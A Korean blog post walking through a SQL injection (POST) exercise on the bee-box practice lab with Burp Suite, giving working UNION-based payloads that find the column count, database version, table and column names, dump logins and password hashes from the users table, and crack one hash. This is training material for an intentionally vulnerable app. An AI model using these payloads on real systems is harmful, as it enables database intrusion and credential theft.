다음으로 실습해볼것은 SQL Injection(Post)방식이다.
문제는 이전 방식과 똑같지만 Burpsuite를 사용하는 것이다.
우선 프록시 설정하고 Burpsuite를 키고(사용방법 : https://tkdrms568.tistory.com/132)
Burpsuite를 intercept on으로 설정하고 아무거나 입력하고 기다리면
다음과 같이 나오는데 여기서 title= 부분에 '(작은 따옴표)를 입력하고 Intercept off로 변경해주면
맞다. SQL Injection 공격이 먹힌다는 소리다.
이제 DB에 있는 모든 정보를 알아내기 위해 ' or 1=1주석 을 사용하자
1. ' or 1=1 --
안된다.
2. ' or 1=1#
맞다 주석은 #인 것이다.
이제 칼럼수를 구하자
칼럼수를 구할꺼면 오름차순, 내림차순 쓰는게 편리하다.
맞다 ' ORDER BY를 쓰겠다는 소리다.
-> ' ORDER BY 칼럼수# 오름차순(ASC) or 내림차순(DESC)
결과
ORDER BY 사용시 8일 경우 다음과 같은 에러가 나온다. 맞다 컬럼수는 7이라는 것이다.
이제 화면에 출력되는 컬럼이 어떤것인지 알아보기 위해서 다음과 같은 명령어를 입력한다.
-> 0' UNION SELECT ALL 1,2,3,4,5,6,7#
맞다. 나오는 컬럼은 2,3,5,4 순서로 4개가 나온다는 것이다.
이제 여기에 DB version을 알아내기 위해 @@version이라는 명령어를 사용한다.
-> 0' UNION SELECT ALL 1,@@version,3,4,5,6,7#
맞다 BEE-BOX의 DB version은 5.0.96version이라는 것이다.
DB 버전이 5.0 이상이므로 테이블 명을 확인하기 위해서는 information_schema를 사용해야한다.
-> 0' UNION SELECT ALL 1,table_name,3,4,5,6,7 from information_schema.tables#
결과
다음과 같이 나온다. 여기서 계정과 가장 관련이 있는것은 무엇일까?
맞다. users일 것이다. 이제 users라는 테이블의 컬럼을 확인해보자
-> 0' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name= 'users'#
결과
확인해보니까 id, password 등을 알 수 있었다.
이제 컬럼 안의 내용 중 id, password 등 상세정 보를 알아보자
-> 0' UNION SELECT ALL 1, login, password, email, secret,6,7 from users#
결과
다음과 같이 결과가 나온다.
결과를 해석하면
A.I.M은 ID 다음 컬럼은 해시화된 비밀번호 다음은 비밀번호 힌트 4번째는 이메일 순서이다.
이제 우리는 해시화된 비밀번호도 한번 알아보려 한다.
크랙된 값을 복사한다음 https://crackstation.net/ 에 들어가보면
다음과 같은 화면이 뜨는데 여기에 아까나온 해시값을 넣으면
맞다 비밀번호는 bug이다.
난이도(medium, high)은 https://tkdrms568.tistory.com/138
와 같은 이유로 공격이 먹히지 않는다.
'웹해킹 > bee-box' 카테고리의 다른 글
SSI Injection (2) | 2019.08.01 |
---|---|
OS Command Injection (0) | 2019.07.31 |
SQL Injection(Get/Search) (0) | 2019.07.29 |
iframe Injection (2) | 2019.07.27 |
HTML Injection- Stored(blog)(low) (0) | 2019.07.26 |